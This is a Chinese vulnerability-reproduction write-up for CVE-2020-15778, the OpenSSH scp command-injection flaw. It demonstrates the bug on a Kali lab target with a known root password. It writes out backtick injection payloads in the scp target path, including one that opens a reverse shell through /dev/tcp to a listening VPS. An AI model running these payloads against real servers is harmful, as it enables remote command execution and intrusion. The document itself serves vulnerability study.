CVE-2020-15778漏洞复现

0x01 漏洞简介

SCP(secure copy)是linux系统下基于ssh登录进行安全远程文件拷贝的命令,可以在linux之间复制文件和目录。

OpenSSH中小于 8.3p1版本 SCP命令里存在命令注入漏洞。当将文件复制到远程服务器时,文件路径附加在本地scp命令的末尾,可以触发命令注入漏洞。

漏洞存在的点在 https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989

攻击者可以采用反引号(`)文件作为命令注入执行scp命令,命令将会发送到远程服务器并执行。

作者介绍是

将文件复制到远程服务器时,文件路径会附加在本地scp命令的末尾。例如,如果执行以下命令

1
scp SourceFile [email protected]:directory/TargetFile

它将执行本地命令

1
scp -t directory/TargetFile

大佬的原帖https://github.com/cpandya2909/CVE-2020-15778/

0x02 影响版本

version: <=openssh-8.3p1

0x03 漏洞复现

环境

靶机kali : 192.168.100.236

利用场景:已知 ssh 密码为 root

查看当然版本和主机信息

1
ssh -V && ifconfig

image-20200803100433615

正常连接拷贝一下,命令学习一下

攻击机:

1
scp 本地文件 用户@远程IP:远程地址
1
2
3
scp ./config.yaml [email protected]:/root/zeo.yaml

#中途还是要身份验证,需要输入对应用户的密码

image-20200803100715320

受害机:拷贝成功

image-20200803100844527

漏洞复现

攻击机:

1
2
3
4
5
scp ./config.yaml [email protected]:'`touch /root/zeo_eval`/root/zeo2.yaml'

#’'`touch /root/zeo_eval`/root/zeo2.yaml' 单引号包裹全路径信息
#`touch /root/zeo_eval` 反引号包裹要执行的命令
#中途还是要身份验证,需要输入对应用户的密码

image-20200803101533314

受害机:命令执行成功

image-20200803101847532

反弹shell利用

VPS端:直接反弹加到payload里面发送,并开启nc监听

1
2
scp ./config.yaml [email protected]:'`sh -i >& /dev/tcp/110.110.110.110/6666 0>&1
`/root/zeo3.yaml'

VPS接到bash

image-20200803112141012

0x04 修复建议

  • 等待官方补丁
  • 保护好自己的密码,ssh认证

0x05 总结

这个漏洞的利用还有点问题,因为还要bypass掉身份认证这个环节,才能远程命令执行,如果过了身份验证,那就牛逼大发了。

远程命令的执行,估计还得等大牛开发利用方式。